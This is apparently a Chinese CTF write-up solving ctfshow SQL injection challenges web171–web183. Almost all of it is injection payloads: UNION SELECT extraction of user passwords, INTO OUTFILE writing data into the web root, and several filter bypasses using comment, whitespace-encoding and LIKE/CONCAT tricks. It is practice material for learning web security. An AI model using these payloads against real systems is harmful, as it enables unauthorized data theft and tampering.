# SQL 注入

# web171

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111193218826.png" alt="image-20250111193218826" style="zoom:67%;" />

这里有引号判断是 字符型注入and 优先级高于 or,所以先 username !='flag' and id='0' or username='flag'

这里相当于 'id' 【不用管双引号】,看题目应该是要找到 username=flag ,可以把前面的判断为假,然后注入一个 or 来让后面为真:

0' or username =  'flag #这里 flag 后面不闭合上,因为原本语句最后会加上 `'`

得到 flag:

image-20250111194009203

# web172

直接打开看不见信息,查看源码可以找到:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111214505702.png" alt="image-20250111214505702" style="zoom:67%;" />

访问 url/select-no-waf-2.php

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111214607149.png" alt="image-20250111214607149" style="zoom:67%;" />

这里应该是将返回值带有 flag 的给屏蔽了,本想直接匹配 password = 'ctf%' ,但是也没有

0' or password='ctf%' --+  #这里应该是找到了 flag,但是由于返回的字段带有 flag 所以不显示

采用 联合查询union ,要保证前后查询列数相同,不能查询 username ,所以查询 idpassword

1' union select id , password from ctfshow_user2 --+  #后面没加where条件,所以这里会显示所有的项,由于项数大于1,因此要用 `--+`注释掉后面的limit 1
#后面发现可以加上限制条件:
1' union select id , password from ctfshow_user2 where username='flag' --+ #这里只是找出有 flag 的项,但不显示 username,只有 id 和 password

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112115624263.png" alt="image-20250112115624263" style="zoom:67%;" />

# web173

image-20250112133612446

这次还是过滤了返回的 flag,利用 联合注入union ,不过注意:这里前面 select 的字段名是三个,因此联合注入的字段也需要是三个才能正确显示:

1' union select 1, id ,password from ctfshow_user3 where username='flag' --+

image-20250112133833745

# web174

一开始进去发现数据库一直异常,查看源码发现,给的页面是 waf3 的,手动访问 waf4

image-20250112143308569

把数字给过滤了,要把回显的数字给替换成字母,为了不在还原的时候把原本 flag 的字母给还原成数字,这里就要把数字给替换成大写字母:

1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'g','K') from ctfshow_user4 --+

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112143533871.png" alt="image-20250112143533871" style="zoom:67%;" />

接着还原:

text="ctfshow{JJACCJdA-JbaG-DHbc-aEfH-GBCIFJICBeAA}"
print(text.replace('A','1').replace('B','2').replace('C','3').replace('D','4').replace('E','5').replace('F','6').replace('G','7').replace('H','8').replace('I','9').replace('J','0').replace('K','g'))

image-20250112143649430

# web175

image-20250112162807516

过滤了所有 ascii 码,正常回显行不通,这里将输出的数据指定输出位置然后查看就行(利用 into outfile

1' union select username,passowrd from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

image-20250112163529024

接着访问 url/flag.txt

image-20250112163552641

# web176

image-20250112164126965

对参数进行了过滤,需要慢慢试【看 wp 知道是过滤了 select ,可大写绕过 Select 】,我这直接注入就得到了 flag

0' or username='flag' --+

image-20250112164357015

# web177

image-20250112164731518

万能密码试试

0' or 1=1--+ #发现回显是无数据
0' or username='flag' --+ #也不回显

接下来试了好多,报错注入,联合注入,布尔盲注,都没有回显,也不报错,用时间注入也不行

最后看 wp,发现是过滤了 空格

1' and '1'='1 #不能正常显示应该是有过滤。
1'||'1    #若可以正常显示,那么应该是过滤了空格或者 and (因为上面只有空格和 and 不一致)
1'and'1   #没有问题,则就是过滤了空格
#用 /**/ 绕过空格过滤(/**/ 替换空格):

payload1:

1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23 #'#这里最后的注释符如果是 --+ 会无法成功,可能把 `+` 当作空格了

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112183853590.png" alt="image-20250112183853590" style="zoom:67%;" />

payload2:

0'/**/or/**/username='flag'%23

# web178

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112184553928.png" alt="image-20250112184553928" style="zoom:80%;" />

试了一下,还是把空格过滤了,用 /**/ 代替空格发现不行,用空格 url 编码 %0d%0a 发现可以绕过,有回显

1'%0d%0aand%0d%0a'1 #1' and '1

image-20250112185250368

构造 payload:

0'%0d%0aor%0d%0ausername='flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112185427491.png" alt="image-20250112185427491" style="zoom:67%;" />

# web179

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112185953095.png" alt="image-20250112185953095" style="zoom:67%;" />

还是过滤了 空格 ,然后 %0d%0a· 行不通了, %0b%09 都被过滤了

用不带空格的万能密码,得到 flag:

'or'1'='1'%23

image-20250112190735792

# web180

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112191320218.png" alt="image-20250112191320218" style="zoom:67%;" />

过滤了空格,但是没有过滤 %0c ,构造 payload

0'%0cor%0cusername='flag'%23

不行, %23 也被过滤了,去掉自己闭合的,得到 flag:

0'%0cor%0cusername='flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112191748061.png" alt="image-20250112191748061" style="zoom:67%;" />

# web181

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112193106231.png" alt="image-20250112193106231" style="zoom:67%;" />

把所有空格的绕过基本上都过滤了,注释符也过滤了,尝试用 + 或者 () 绕过

1'+and+'1'='1 #行不通
0'or(username)='flag #得到 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112193848470.png" alt="image-20250112193848470" style="zoom:67%;" />

# web182

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112194403705.png" alt="image-20250112194403705" style="zoom:67%;" />

多过滤了个关键字 flag , 没关系,用 % 作为通配符来匹配就行

0'or(username)like'fla%'--%01 #不能用`=`,要用like
-1'or(username=concat('fl','ag'))and'a'='a  #拼接出flag
0'or'1'='1'--%01 #也可以得到 flag

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112195731762.png" alt="image-20250112195731762" style="zoom:67%;" />

# web183

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112200235304.png" alt="image-20250112200235304" style="zoom:67%;" />

这里的 ""双引号 与 post 是一个整体,这里是一个整形注入

前几道题用户表名是 ctfshow_user 开头,这里试试,看可以查出结果:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250113133417930.png" alt="image-20250113133417930" style="zoom:80%;" />

题目里查询语句的 conunt(pass)pass 就是字段名,利用 like 匹配一下看看有没有 flag

tableName=(ctfshow_user)where(pass)like'ctfshow